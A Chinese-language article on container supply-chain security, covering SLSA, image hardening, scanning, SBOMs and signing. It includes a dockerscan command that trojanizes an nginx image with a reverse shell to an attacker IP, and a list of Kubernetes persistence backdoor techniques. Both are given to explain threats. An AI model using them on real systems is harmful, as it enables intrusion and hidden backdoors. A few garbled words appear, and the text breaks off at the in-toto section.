CNCF安全技術諮詢小組(tag-security)發布了一份權威的軟體供應鏈安全檔案。對於該領域的深入和沉浸式視角,強烈建議閱讀。
該檔案評估了許多可用工具,並為供應鏈安全定義了四個關鍵原則和每個原則的步驟,包括:
四大核心安全原則
信任:供應鏈中的每個步驟都應該因為加密證明和驗證的組合而"可信"。
自動化:自動化對供應鏈安全至關重要,可以顯著降低人為錯誤和設定偏差的可能性。
清晰度:供應鏈中使用的構建環境應該明確定義,範圍有限。
相互認證:在供應鏈環境中執行的所有實體都必須使用強化的認證機制進行相互認證,並定期進行金鑰輪換。
實施供應鏈安全的策略
在玄貓處理過的多個企業級安全專案中,我發現實施供應鏈安全需要採取循序漸進的方法。以下是我建議的策略:
從基礎開始:首先實施CVE掃描作為基本安全措施,這是價效比最高的第一步
建立信任鏈:逐步建立從程式碼到容器的信任鏈,確保每一步都可驗證
自動化優先:將安全檢查整合到CI/CD流程中,實作自動化驗證和報告
持續監控:即使在佈署後,也要持續監控依賴項的新漏洞
定期稽核:定期稽核整個供應鏈,識別潛在的弱點和改進機會
供應鏈安全的未來趨勢
隨著軟體供應鏈攻擊變得越來越複雜,我們看到了幾個關鍵趨勢正在塑造這個領域的未來:
軟體材料清單(SBOM)的普及:作為識別和跟蹤依賴項的標準方法
零信任架構的應用:在供應鏈安全中應用零信任原則
AI輔助安全檢測:利用人工智慧識別異常程式碼和潛在的供應鏈攻擊
法規要求的增加:政府和行業標準對供應鏈安全的要求越來越高
軟體供應鏈安全是一個不斷發展的領域,需要持續關注和投資。從最基本的CVE掃描開始,逐步建立更全面的安全控制,是保護組織免受供應鏈攻擊的有效途徑。雖然完美的安全性是不可能的,但透過實施多層防禦和遵循CNCF等權威機構的建議,我們可以顯著降低風險,使攻擊者難以成功。
在容器和雲原生環境中,供應鏈安全不再是可選項,而是核心要求。透過關注信任、自動化、清晰度和相互認證這四個關鍵原則,組織可以建立更強大、更安全的軟體供應鏈。
軟體供應鏈安全的五大支柱
軟體供應鏈安全已成為現代應用開發不可忽視的關鍵環節。在分析眾多安全事件後,玄貓發現供應鏈攻擊往往針對開發流程中的薄弱環節,而非直接攻擊最終產品。一個完整的軟體供應鏈安全框架必須涵蓋以下五個核心領域:
- 原始碼安全 - 開發人員編寫的程式碼需要嚴格的安全審查和版本控制
- 依賴元件管理 - 應用及其環境的第三方依賴需要持續監控和更新
- 建置管道保護 - 測試和建置過程需要安全控制和完整性驗證
- 成品完整性 - 最終應用程式需要提供測試證據和數位簽章
- 佈署安全 - 使用者存取應用的管道需要安全防護
這五個環節緊密相連,任何一個環節被攻擊者入侵,都可能導致整個供應鏈被破壞,最終危及使用者安全。在實際工作中,玄貓觀察到許多組織往往只關注其中一兩個環節,卻忽略了整體安全性,這使得攻擊者能夠找到薄弱點進行滲透。
容器化應用的韌性架構設計
在設計容器化應用時,採用敵對思維(adversarial mindset)是確保安全性的關鍵。這意味著我們需要假設系統隨時可能被入侵,並據此設計防禦機制。
從歷史漏洞中學習
歷史漏洞為我們提供了寶貴的教訓。以 DirtyCOW 漏洞為例,這是 Linux 核心許可權記憶體對映程式碼中的競爭條件漏洞,允許無特權的本地使用者提升至 root 許可權。該漏洞允許攻擊者在主機上獲得 root shell,並且可以從未阻止 ptrace 的容器內部被利用。
在測試防護措施時,我發現使用 AppArmor 設定檔阻止 ptrace 系統呼叫可以有效防止 DirtyCOW 容器逃逸攻擊。這類別防護機制應該成為容器安全基線的一部分,而不是事後補救措施。
容器的精細安全策略
容器技術提供了精細的安全策略設定機會,這使我們能夠重新思考應用程式安全。最佳實踐是將應用視為「預設已被入侵」(compromised-by-default),並相應地設定保護措施,以抵禦零日漏洞或未修補的弱點。
在實作這種思維時,我通常會採取以下策略:
- 最小許可權原則 - 容器只獲得完成任務所需的最低許可權
- 不可變基礎設施 - 容器一旦建立就不應修改,而是重新佈署
- 深度防禦 - 多層安全控制,確保單點失效不會導致系統整體當機
- 主動監控 - 持續監控異常行為,快速回應潛在威脅
特洛伊特洛伊特洛伊木馬檢測與防禦
容器映像檔的安全性是軟體供應鏈安全的核心環節。攻擊者經常嘗試將惡意程式碼注入容器映像檔,建立後門或控制通道。
容器映像檔特洛伊化例項
工具如 dockerscan 可以輕易地將特洛伊特洛伊特洛伊木馬注入容器映像檔中。以下是一個將反向 shell 注入 nginx 網頁伺服器映像檔的簡單範例:
# 將 nginx 映像檔匯出為 tar 檔案
$ docker save nginx:latest -o webserver.tar
# 使用 dockerscan 將特洛伊特洛伊特洛伊木馬注入映像檔
$ dockerscan image modify trojanize webserver.tar \
--listen "${ATTACKER_IP}" --port "${ATTACKER_PORT}" \
--output trojanized-webserver
上述程式碼展示了攻擊者如何利用 dockerscan 工具對容器映像檔進行特洛伊化攻擊。第一行命令使用 docker save
將官方 nginx 映像檔匯出為 tar 檔案。第二部分則使用 dockerscan 的 trojanize
功能將反向 shell 注入該 tar 檔案,指定攻擊者的 IP 和監聽連線埠,最後輸出為新的特洛伊化映像檔。這種攻擊的危險之處在於,若未經檢測,被特洛伊化的映像檔看起來與原始映像檔完全相同,但會在背景中建立與攻擊者的連線。
這種攻擊使用了 LD_PRELOAD 技術,大多數容器入侵檢測系統和掃描工具應該能夠檢測到。然而,更複雜的攻擊可能會使用其他技術來規避檢測。
動態分析與行為監控
軟體的動態分析涉及在隔離的惡意軟體實驗室環境中執行程式,該環境無法與網際網路通訊,並會監控 C2(命令與控制)、自動化攻擊或意外行為的跡象。
某些惡意軟體如 WannaCry(加密鎖定蠕蟲)包含停用「殺死開關」DNS 記錄(有時被惡意軟體作者秘密用來遠端終止攻擊)。在某些情況下,這被用來將惡意軟體的佈署延遲到攻擊者方便的時間。
成品及其執行時行為應該共同形成對單個套件可信度的評估,但攻擊者有多種規避手段。邏輯炸彈(僅在特定條件下執行的行為)使這種檢測變得困難,除非已知該邏輯。例如,SUNBURST 攻擊中的惡意程式碼模仿了被感染軟體的有效 HTTP 呼叫。即使用 sysdig 等工具跟蹤被入侵的應用程式,也難以清晰地發現此類別攻擊。
供應鏈攻擊案例分析:Hashjack 船長的攻擊
讓我們以一個假設情境來分析供應鏈攻擊的全過程:假設一個名為 BCTL 的組織在供應鏈安全上投入不足。開放原始碼元件的引入沒有嚴格規範,開發人員也忽視了 CI/CD 管道中的 CVE 掃描結果。
在這種情況下,攻擊者(我們稱之為 Hashjack 船長)的目標是將惡意程式碼增加到容器映像檔、開放原始碼套件或作業系統應用程式中,使其在生產環境中執行。
當惡意程式碼在容器內執行時,它會連接回攻擊者控制的伺服器。該連線會將攻擊命令中繼到容器內部,使攻擊者能夠在叢集中進行探索。從這個遠端控制位置,攻擊者可能會:
- 列舉叢集周圍的其他基礎設施,如資料儲存和內部導向的軟體
- 嘗試提升許可權並接管節點或叢集
- 挖掘加密貨幣
- 將容器或節點增加到殭屍網路,將它們用作伺服器或「水坑」以傳播惡意軟體
- 對未受感染系統進行其他未授權的濫用
OpenSSF SLSA 框架:分級供應鏈安全方法
開放原始碼安全基金會(OpenSSF)的 SLSA 框架(「軟體成品供應鏈級別」,發音為「Salsa」)根據「達到理想安全狀態可能需要數年時間,中間里程碑很重要」的原則。它為建置過程的供應鏈安全定義了分級方法:
SLSA 安全等級
等級 | 描述 | 需求 |
---|---|---|
0 | 無保證 | SLSA 0 表示缺乏任何 SLSA 等級 |
1 | 來源檢查以幫助評估風險和安全性 | 建置過程必須完全指令碼化/自動化並生成來源證明 |
2 | 對軟體來源的進一步檢查 | 要求使用版本控制和生成經過驗證的來源證明的託管建置服務,從而實作建置服務的防篡改 |
3 | 對特定類別威脅的額外抵抗力 | 原始碼和建置平台符合特定標準,以保證原始碼的可稽核性和來源證明的完整性。包括主機安全控制、不可偽造的來源證明和防止跨建置汙染 |
4 | 最高階別的信心和信任 | 嚴格的可稽核性和可靠性檢查。要求所有更改都經過雙人審核,與建置過程是隔離的、可重現的 |
當玄貓與客戶討論供應鏈安全時,通常會建議他們從 SLSA 1 級開始,然後根據業務需求和安全成熟度逐步提升。大多陣列織發現從 0 級直接跳到 3 或 4 級的難度過大,而漸進式改進更容易實施和維持。
入侵後的永續性:攻擊者如何確保長期存在
一旦攻擊者成功入侵系統,他們會尋求建立永續性(persistence)或後門,以便在被檢測到或被驅逐後能夠重新進入系統。
在容器環境中,永續性面臨獨特挑戰。當容器重啟時,檔案系統更改會丟失,因此僅透過寫入容器檔案系統無法實作永續性。在 Kubernetes 中植入「後門」或其他永續性機制需要攻擊者利用 Kubernetes 的其他部分或主機上的 kubelet,因為他們在容器內寫入的任何內容在重啟時都會丟失。
Kubernetes 環境中的永續性技術
在 Kubernetes 中,攻擊者可能嘗試以下永續性方法:
- 透過 kubelet 的靜態清單啟動特權靜態 Pod
- 使用容器執行時直接佈署特權容器
- 佈署帶有後門的准入控制器或 定時工作
- 佈署帶有自定義認證的影子 API 伺服器
- 增加變異性 webhook,向某些新 Pod 注入後門容器
- 將工作節點或控制平面節點增加到殭屍網路或 C2 網路
- 編輯容器生命週期的 postStart 和 preStop 鉤子以增加後門
- 編輯存活探針以在目標容器中執行後門
- 任何其他在攻擊者控制下執行程式碼的機制
在我的滲透測試經驗中,發現最常見的永續性技術是利用 定時工作 和容器生命週期鉤子,因為這些機制通常不會引起系統管理員的注意。
系統面臨的風險
一旦攻擊者建立了永續性,攻擊可能會變得更加大膽和危險:
- 竊取資料、憑證和加密貨幣錢包
- 透過其他 Pod、控制平面、工作節點或雲端帳戶進一步滲透系統
- 濫用計算資源進行加密貨幣挖掘(例如,在 Docker 容器中挖掘 Monero)
- 在同一 Pod 中提升許可權
- 對資料進行加密鎖定
- 對目標已發布成品/軟體進行二次供應鏈攻擊
全面防護策略
根據以上分析,玄貓建議採用以下全面防護策略來保護軟體供應鏈:
原始碼安全
- 實施嚴格的程式碼審查流程,特別關注安全敏感區域
- 使用靜態應用安全測試(SAST)工具自動檢測常見漏洞
- 確保所有程式碼更改都經過多人審核
- 使用受信任的原始碼管理系統,啟用強身份驗證和稽核日誌
依賴元件管理
- 使用軟體物料清單(SBOM)追蹤所有依賴項
- 實施自動化依賴掃描,定期檢查已知漏洞
- 建立依賴更新策略,確保及時應用安全補丁
- 考慮使用私有套件倉函式庫,對外部依賴進行額外驗證
建置管道保護
- 使用隔離、可重現的建置環境
- 對建置成品進行數位簽章
- 確保建置系統具有適當的存取控制
- 實施建置管道的完整性檢查
成品完整性
- 為所有成品生成和驗證數位簽章
- 使用不可變的成品倉函式庫
- 實施成品掃描,檢測已知漏洞和惡意程式碼
- 保留成品的稽核追蹤
佈署安全
- 使用最小許可權原則設定容器和 Pod
- 實施網路策略限制 Pod 間通訊
- 使用准入控制器驗證佈署的安全性
- 監控執行時行為,檢測異常活動
透過全面實施這些策略,組織可以顯著提高其軟體供應鏈的安全性,減少被攻擊的風險。重要的是,這不是一次性工作,而是需要持續改進的過程。
在實施供應鏈安全時,玄貓建議從風險最高的區域開始,然後逐步擴充套件防護範圍。這種漸進式方法可以在不中斷開發流程的情況下提高安全性。
隨著攻擊者不斷發展其技術,我們的防禦策略也需要不斷演進。持續學習和適應是維護軟體供應鏈安全的關鍵。透過採用敵對思維,假設系統可能被入侵,我們可以設計更具韌性的系統,即使在面對未知威脅時也能保持安全。
軟體供應鏈安全不僅是技術問題,也是文化和流程問題。組織需要培養安全意識文化,確保每個參與軟體開發和佈署的人都瞭解其在維護供應鏈安全中的角色。只有透過技術和文化的結合,我們才能建立真正安全的軟體供應鏈。
容器供應鏈安全:從建構到佈署的全流程防護
在現代雲原生架構中,容器已成為應用程式佈署的標準方式。然而,從程式碼撰寫到生產環境佈署的整個流程,存在著不少安全挑戰。特別是CI/CD自動化系統,由於它們通常比生產系統擁有更少的安全限制,卻能夠佈署到這些系統中,因此成為攻擊者的理想目標。
在這個背景下,軟體工廠(Software Factory)模式逐漸獲得採用,作為建構安全軟體管道的解決方案。這篇文章將探討容器映像建構的安全實踐,以及如何建立可信任的供應鏈。
軟體工廠:自我複製的CI/CD模式
軟體工廠本質上是一種專注於自我複製能力的CI/CD系統。它能夠佈署自身的副本,或系統的其他部分作為新的CI/CD管道。這種自我複製的特性確保了建構系統的可重複性、易佈署性和易替換性。更重要的是,它有助於建構基礎設施本身的迭代和發展,這使得這類別系統的安全防護變得更加容易。
採用軟體工廠模式需要精湛的DevOps技能、持續整合和自動化建構實踐。由於容器的隔離特性,這種模式特別適合容器化環境。
# 軟體工廠通常使用宣告式設定,例如
cat <<EOF > factory-config.yaml
apiVersion: factory.example.com/v1
kind: BuildPipeline
metadata:
name: secure-container-builder
spec:
source:
git:
url: https://github.com/org/app
branch: main
stages:
- name: security-scan
image: security-scanner:1.2.3
- name: build
image: kaniko-executor:1.0.0
args: ["--dockerfile=Dockerfile", "--destination=registry/image:tag"]
EOF
這個設定範例展示了軟體工廠的宣告式定義方式,其中包含了來原始碼位置和建構階段。特別注意的是,建構過程分為安全掃描和實際建構兩個階段,每個階段使用不同的工具容器。這種方式可以確保在建構前進行安全檢查,同時整個流程是可重複、可版控的。
值得一提的是,美國防部(DoD)的軟體工廠模式定義了建構安全、大規模雲端或本地雲原生基礎設施的最佳實踐理念。用於建構DoD軟體工廠的容器映像可在IronBank GitLab公開取得。
增強建構過程的安全性
對建構步驟和成品進行加密簽名可以增加系統的可信度。這些簽名可以透過准入控制器進行重新驗證,例如使用portieris驗證Notary簽名,或使用Kritis驗證Grafeas簽名。
Tekton是一個根據Kubernetes的建構系統,它在容器中執行建構階段。它執行定義在pod中的Kubernetes自定義資源來定義建構步驟,而Tekton Chains可以使用in-toto來簽署pod的工作空間檔案。Jenkins X建構在Tekton之上,並擴充套件了其功能集。
當處理容器建構工作流程時,玄貓發現供應鏈簽名領域的複雜性常被低估。正如Dan Lorenc所精確總結的那樣,這個領域需要整合多種工具和方法才能建立完整的信任鏈。
可信映像工廠:基礎映像的安全建構
某些軟體工廠管道用於建構和掃描基礎映像,類別似於虛擬機器映像的建構方式:按照固定週期,以及回應底層映像的發布而進行。如果建構的任何輸入不受信任,那麼映像建構也是不受信任的。
攻擊者可以透過以下方式攻擊容器建構:
- 在RUN指令中的惡意命令,可能攻擊宿主機
- 宿主機的非迴環網路連線埠/服務
- 列舉其他網路實體(雲提供商、建構基礎設施、通往往生產環境的網路由)
- 惡意的FROM映像,具有存取建構機密的許可權
- 具有ONBUILD指令的惡意映像
- Docker-in-docker和掛載的容器執行時通訊端,可能導致宿主機突破
- 容器執行時或內核的零日漏洞
- 網路攻擊面(宿主機,其他建構暴露的連線埠)
防禦惡意建構的策略
為了防禦惡意建構,應該從使用Hadolint和conftest進行靜態分析開始,以強制執行安全政策。例如:
# 使用Hadolint檢查Dockerfile
$ docker run --rm -i hadolint/hadolint < Dockerfile
/dev/stdin:3 DL3008 Pin versions in apt get install.
/dev/stdin:5 DL3020 Use COPY instead of ADD for files and folders
# 使用conftest檢查政策合規性
$ conftest test --policy ./test/policy --all-namespaces Dockerfile
2 tests, 2 passed, 0 warnings, 0 failures, 0 exceptions
這段程式碼展示了兩種常用的Dockerfile靜態分析工具。Hadolint專注於Dockerfile最佳實踐檢查,識別出潛在的安全問題,如未固定版本的套件安裝和使用ADD而非COPY指令。而conftest則封裝了Open Policy Agent,使用Rego語言定義的政策來檢查Dockerfile是否符合組織的安全標準。這兩種工具結合使用,可以在建構前發現大部分的設定問題。
如果Dockerfile符合政策,可以使用像trivy這樣的工具掃描容器建構工作空間。也可以先建構然後掃描,雖然如果攻擊產生一個反向shell到建構環境中,這會稍微風險一些。
如果容器掃描結果安全,則可以執行建構。
在Dockerfile中增加硬化階段有助於移除攻擊者可能試圖利用的不必要檔案和二進位檔案,這在國防部的容器硬化中有詳細說明。
保護建構的網路也很重要,否則容器建構中的惡意程式碼可以從網際網路提取進一步的依賴項和惡意程式碼。不同難度的安全控制包括:
- 防止網路出口流量
- 使用VM與宿主機核心隔離
- 以非root使用者或在使用者名稱空間中執行建構過程
- 在容器檔案系統中以非root使用者執行RUN命令
- 不與建構分享任何非必要內容
基礎映像的選擇與安全考量
當應用程式被封裝進容器準備佈署時,必須建構成容器映像。根據程式語言和應用依賴,容器會使用不同型別的基礎映像,每種型別都有其特定的安全特性。
基礎映像型別及其安全特性
基礎映像型別 | 建構方式 | 映像檔案系統內容 | 安全性評估 |
---|---|---|---|
Scratch | 將一個(或多個)靜態二進位檔案增加到空容器根檔案系統 | 除了/my-binary(它是/目錄中的唯一內容)和任何增加的依賴(通常是CA包、區域訊息、應用程式的靜態檔案)外什麼都沒有 | 最高安全性,攻擊面極小 |
Distroless | 將一個(或多個)靜態二進位檔案增加到僅具有區域和CA訊息的容器中(沒有Bash、Busybox等) | 除了my-app、/etc/locale、TLS公鑰(加上任何依賴,如scratch)等外什麼都沒有 | 非常高的安全性,僅包含必要元件 |
Hardened | 將非靜態二進位或動態應用程式增加到最小容器中,然後移除所有非必要檔案並強化檔案系統 | 精簡的Linux使用者空間:glibc、/code/my-app.py、/code/deps/bin/python、Python函式庫、應用程式的靜態檔案 | 良好安全性,透過強化減少攻擊面 |
Vanilla | 無安全預防措施,可能危險 | 標準Linux使用者空間,Root使用者,可能包含安裝、建構、編譯或除錯應用程式所需的任何和所有內容,提供了許多攻擊機會 | 安全性低,攻擊面廣 |
最小化容器能夠將容器對惡意程式或遠端式碼執行的攻擊面降至最低,使攻擊者只能使用像回傳導向程式設計(ROP)這樣的高階技巧,這超出了大多數攻擊者的能力範圍。有組織的網路犯罪集團可能夠使用這些程式設計技術,但利用這類別漏洞非常有價值,如果被發現可能會降低其價值,因此更可能被賣給漏洞經紀人而不是在實際攻擊中使用。
由於靜態編譯的二進位檔案附帶了自己的系統呼叫函式庫,它們不需要glibc或其他使用者空間核心介面,因此可以在檔案系統中只有它們自己存在。
// 一個簡單的Go應用,適合scratch容器
package main
import (
"fmt"
"net/http"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, 安全的世界!")
})
http.ListenAndServe(":8080", nil)
}
這是一個用Go語言編寫的簡單Web服務,非常適合封裝到scratch容器中。Go程式編譯後會產生靜態二進位檔案,包含所有必要的依賴,因此不需要額外的執行時支援。這種方式建立的容器極小,通常只有幾MB大小,與攻擊面非常有限。攻擊者無法利用常見的工具如shell或系統工具進行攻擊,因為容器中根本不存在這些工具。這是實作高安全性容器的常用方法。
容器供應鏈的現狀
容器化應用程式將其所有使用者空間依賴項與其捆綁在一起,這使我們能夠檢查應用程式的組成。被入侵的容器的影響範圍比裸機伺服器小(容器在名稱空間周圍提供安全設定),但由於Kubernetes工作負載佈署的高度平行性質,其影響可能被放大。
安全的第三方程式碼引入需要對上游依賴項進行信任和驗證。
Kubernetes元件(OS、容器、設定)本身就是供應鏈風險。從物件儲存(如S3和GCS)提取未簽名成品的Kubernetes發行版無法驗證開發者是否打算執行那些容器。任何具有「逃逸友好設定」的容器(停用安全功能、缺乏強化、未監控和未保護等)都是可行的攻擊資產。
支援應用程式(日誌/監控、可觀察性、IDS)也是如此——任何以root身份安裝、未強化或未針對防止入侵而架構的應用程式都可能受到惡意攻擊。
第三方程式碼風險
在映像建構過程中,應用程式將依賴項安裝到容器中,同樣的依賴項通常也安裝在開發者的機器上。這需要安全地引入第三方和開原始碼。
在資料安全方面,在未經驗證的情況下執行來自網際網路的任何程式碼都可能不安全。攻擊者可能留下了後門,使其能夠遠端存取執行惡意程式碼的任何系統。因此,在允許軟體進入組織的企業網路和系統之前,應評估此類別攻擊的風險是否足夠低。
建立安全的容器映像建構流程
在建立容器化應用時,玄貓建議採用以下流程來確保映像建構的安全性:
1. 選擇適當的基礎映像
根據安全性考量,應優先選擇最小化的基礎映像。對於Go、Rust等可以產生靜態二進位檔案的語言,scratch或distroless映像是最佳選擇。對於需要執行時的語言如Python、Node.js,應使用經過強化的最小映像。
# 不安全的方式
FROM ubuntu:latest
RUN apt-get update && apt-get install -y python3 python3-pip
COPY app.py /app/
WORKDIR /app
CMD ["python3", "app.py"]
# 更安全的方式
FROM python:3.9-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY app.py .
USER 1000
CMD ["python3", "app.py"]
這個對比展示了兩種不同的Dockerfile寫法。第一種使用完整的Ubuntu映像作為基礎,這會引入大量不必要的工具和潛在漏洞。第二種使用slim變體的Python映像,大幅減少映像大小和攻擊面。此外,它還實施了幾個安全最佳實踐:分層複製依賴和應用程式碼以利用Docker快取、使用非root使用者執行應用。這種方法既減少了映像大小,又提高了安全性。
2. 實施多階段建構
多階段建構可以顯著減少最終映像的大小和攻擊面,只保留執行應用所需的最少元件。
# 建構階段
FROM golang:1.17 AS builder
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o app .
# 執行階段
FROM scratch
COPY --from=builder /app/app /
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
ENTRYPOINT ["/app"]
這個多階段Dockerfile展示瞭如何建立極小的生產容器。第一階段使用完整的Go環境編譯應用,設定CGO_ENABLED=0確保生成靜態二進位檔案。第二階段從零開始(scratch),只複製編譯好的二進位檔案和SSL證書。最終映像不包含編譯工具、原始碼或任何不必要的元件,極大減少了攻擊面,同時保持功能完整。這種方法在實際專案中非常有效,特別是對安全敏感的應用。
3. 掃描和強化容器映像
在建構過程中整合安全掃描,及早發現並修復漏洞。
# 建構映像
docker build -t myapp:latest .
# 使用Trivy掃描漏洞
trivy image myapp:latest
# 使用Dockle檢查CIS基準合規性
dockle myapp:latest
這組命令展示了容器安全掃描的基本工作流程。首先建構應用映像,然後使用Trivy執行漏洞掃描,它能檢測OS套件和應用依賴中的已知漏洞。接著使用Dockle進行CIS Docker基準檢查,識別容器設定問題如執行為root、暴露敏感目錄等。這兩個工具結合使用,可以在佈署前發現大多數常見的容器安全問題,是CI/CD管道中的重要環節。
4. 簽名和驗證
為確保供應鏈的完整性,對建構的映像進行簽名,並在佈署前驗證簽名。
# 使用cosign簽名映像
cosign sign --key cosign.key myregistry.io/myapp:latest
# 在佈署前驗證簽名
cosign verify --key cosign.pub myregistry.io/myapp:latest
這個例子使用了Sigstore專案的cosign工具進行容器映像簽名和驗證。簽名過程使用私鑰建立映像的加密簽名,而驗證過程則使用公鑰確認簽名的真實性。這種機制確保了從建構到佈署的供應鏈完整性 - 只有經過授權的建構系統才能產生有效簽名,而佈署系統可以拒絕未簽名或簽名無效的映像。在現代雲原生環境中,這已成為防止供應鏈攻擊的關鍵實踐。
供應鏈安全的最佳實踐
根據多年的容器安全實踐,玄貓總結了以下幾點關鍵的供應鏈安全最佳實踐:
1. 建立可信的基礎映像函式庫
組織應該維護一組經過審查和強化的基礎映像,所有應用程式開發都必須使用這些映像。這些映像應定期更新以修補安全漏洞。
2. 自動化相依性管理
使用自動化工具持續監控和更新依賴項,確保及時修復已知漏洞。工具如Dependabot、Renovate可以自動建立依賴更新的提取請求。
3. 實施最小許可權原則
容器應以非root使用者執行,並且只授予所需的最小許可權。使用SecurityContext限制容器的能力,並考慮使用PodSecurityPolicy或OPA Gatekeeper強制執行這些限制。
4. 建立完整的供應鏈可觀察性
實施工具和流程,使整個供應鏈透明可見。使用軟體物料清單(SBOM)工具如Syft生成映像內容清單,並使用像Grype這樣的工具持續掃描漏洞。
5. 實施不可變基礎設施
一旦容器映像建構並佈署,不應該進行修改。任何更改都應該透過重新建構和重新佈署完整的映像來實作,這樣可以維護完整的稽核追蹤。
結語
在容器化應用日益普及的今天,確保從程式碼到容器的安全供應鏈變得至關重要。軟體工廠模式提供了一個強大的框架來構建和管理這些供應鏈,而選擇適當的基礎映像和實施嚴格的建構和掃描流程可以顯著減少攻擊面。
透過採用本文討論的實踐和工具,組織可以建立更安全的容器化應用佈署流程,防止供應鏈攻擊,並確保從開發到生產的整體安全。記住,容器安全不僅是關於保護執行中的容器,更是關於確保建構這些容器的整個過程的安全性。
安全的容器供應鏈需要持續的關注和改進,但投資於這一領域將為組織的整體安全態勢帶來巨大回報。
保護容器供應鏈:從外部程式碼掃描到簽署認證
在現代軟體開發中,容器技術已經成為標準佈署方式,但隨之而來的供應鏈安全風險也日益增加。當我們從公共倉函式庫提取映像或整合第三方程式碼時,如何確保這些元件不含惡意軟體或已知漏洞?本文將探討容器供應鏈安全的核心實踐,包括程式碼掃描策略、SBOM生成與簽署技術。
第三方程式碼的安全掃描機制
對於來自組織外部的容器或程式碼,建立嚴格的掃描流程至關重要。理想的掃描流程通常包含以下步驟:
- 將容器從公共倉函式庫提取到臨時虛擬機器
- 驗證所有軟體簽名和校驗和
- 掃描二進位檔案和原始碼,檢測CVE和惡意軟體
- 為內部使用封裝並簽署成品
以從公共倉函式庫提取的容器為例,完整流程包括掃描CVE漏洞,為內部域標記,使用Notary簽署,然後推播到內部倉函式庫,供Kubernetes構建系統和開發人員使用。
在引入第三方程式碼時,我建議特別關注以下幾點:
- 發布者身份及簽名情況
- 其自身依賴的元件
- 發布時長
- 在內部靜態分析流程中的評分
動態威脅分析的價值
傳統的靜態掃描雖然能防範已知漏洞,但對針對性攻擊的防禦效果有限。Aqua的容器動態威脅分析提供了一種解決方案,它在沙盒環境中執行潛在惡意容器,觀察其行為以檢測惡意跡象。這種方法特別適合防範那些不使用已知CVE或惡意軟體的定向攻擊。
軟體物料清單(SBOM)的實作與應用
軟體物料清單(SBOM)是保障供應鏈安全的重要工具,它提供了軟體元件的透明"包裝清單"。syft工具使建立容器映像的SBOM變得簡單,支援多種套件格式:
- APK, DEB, RPM
- Ruby Bundles
- Python Wheel/Egg/requirements.txt
- JavaScript NPM/Yarn
- Java JAR/EAR/WAR
- Jenkins plugins JPI/HPI
- Go modules
以下是使用syft為容器生成CycloneDX格式SBOM的範例:
user@host:~ [0]$ syft packages controlplane/bizcard:latest -o cyclonedx
Loaded image
Parsed image
Cataloged packages [0 packages]
<?xml version="1.0" encoding="UTF-8"?>
<bom xmlns="http://cyclonedx.org/schema/bom/1.2" version="1" serialNumber="urn:uuid:18263bb0-dd82-4527-979b-1d9b15fe4ea7">
<metadata>
<timestamp>2021-05-30T19:15:24+01:00</timestamp>
<tools>
<tool>
<vendor>anchore</vendor>
<name>syft</name>
<version>0.16.1</version>
</tool>
</tools>
<component type="container">
<name>controlplane/bizcard:latest</name>
<version>sha256:183257b0183b8c6420f559eb5591885843d30b2</version>
</component>
</metadata>
<components></components>
</bom>
這個SBOM XML輸出包含幾個關鍵部分:
<vendor>anchore</vendor>
- 指明生成SBOM的工具廠商<name>syft</name>
- 使用的工具名稱<version>0.16.1</version>
- 工具版本<component type="container">
- 指明被掃描的是容器型別元件- 容器名稱和版本(以SHA256摘要表示)
對於包含多個套件的容器,SBOM會更加豐富。以alpine基礎映像為例:
user@host:~ [0]$ syft packages alpine:latest -o cyclonedx
✔ Loaded image
✔ Parsed image
✔ Cataloged packages [14 packages]
<?xml version="1.0" encoding="UTF-8"?>
<bom xmlns="http://cyclonedx.org/schema/bom/1.2" version="1" serialNumber="urn:uuid:086e1173-cfeb-4f30-8509-3ba8f8ad9b05">
<metadata>
<timestamp>2021-05-30T19:17:40+01:00</timestamp>
<tools>
<tool>
<vendor>anchore</vendor>
<name>syft</name>
<version>0.16.1</version>
</tool>
</tools>
<component type="container">
<name>alpine:latest</name>
<version>sha256:d96af464e487874bd504761be3f30a662bcc93be7f70bf</version>
</component>
</metadata>
<components>
<!-- 省略部分套件 -->
<component type="library">
<name>musl</name>
<version>1.1.24-r9</version>
<licenses>
<license>
<name>MIT</name>
</license>
</licenses>
<purl>pkg:alpine/musl@1.1.24-r9?arch=x86_64</purl>
</component>
</components>
</bom>
這個更詳細的SBOM展示了alpine映像中包含的套件,包括:
- 套件名稱和版本
- 授權訊息(如MIT)
- 套件URL(PURL格式)
這些可驗證的清單可以透過供應鏈安全工具如cosign、in-toto和notary進行簽署。當消費者要求供應商提供可驗證的成品和物料清單時,供應鏈將變得更難被攻擊者入侵。
人類身份與GPG簽署
使用GNU Privacy Guard(GPG)簽署Git提交可以識別金鑰擁有者對提交的信任。這增加了信任度,但需要公鑰基礎設施(PKI),而PKI的安全性難以完全保證。
正如安全工作者Dan Lorenc所說:“簽署資料很容易,驗證才是難點。”
PKI的主要風險在於基礎設施本身可能被入侵。如果PKI被攻陷,攻擊者可能會將他們控制的金鑰增加給受信任使用者,從而危及整個組織。
構建和中繼資料簽署
為了確保構建基礎設施輸出的可信度,需要對其進行簽署,以便消費者可以驗證來源。簽署SBOM等中繼資料也使消費者能夠檢測佈署在其系統中的程式碼中的漏洞。以下工具可協助簽署成品、容器或中繼資料。
Notary v1
Notary是Docker內建的簽署系統,實作了The Update Framework(TUF)。它用於軟體更新發布,但在Kubernetes中預設未啟用,因為它要求所有映像都必須簽署。作為替代方案,portieris實作了Notary作為Kubernetes的准入控制器。
Notary v2支援為OCI成品建立多個簽名,並將其儲存在OCI映像倉函式庫中。
sigstore
sigstore是一個公共軟體簽署和透明服務,它可以使用cosign簽署容器並將簽名儲存在OCI倉函式庫中,這是Notary v1所缺少的功能。由於容器可以儲存任何內容(如二進位檔案、tar包、指令碼或設定檔案),cosign實際上是一個通用成品簽署工具,以OCI作為其封裝格式。
sigstore提供免費證書和工具,用於自動化和驗證原始碼簽名。類別似於Certificate Transparency,它有一個僅附加的密碼學事件日誌(rekor),每個事件都有關於軟體發布的簽名中繼資料。最後,它在fulcio中支援"用於程式碼簽名證書的免費根CA,即根據OIDC電子郵件地址發布證書"。
sigstore專為開放原始碼軟體設計,正在快速發展。它與TUF和in-toto整合,支援硬體令牌,並且大多數OCI倉函式庫相容。
sigstore的cosign用於簽署Distroless基礎映像系列。
in-toto和TUF
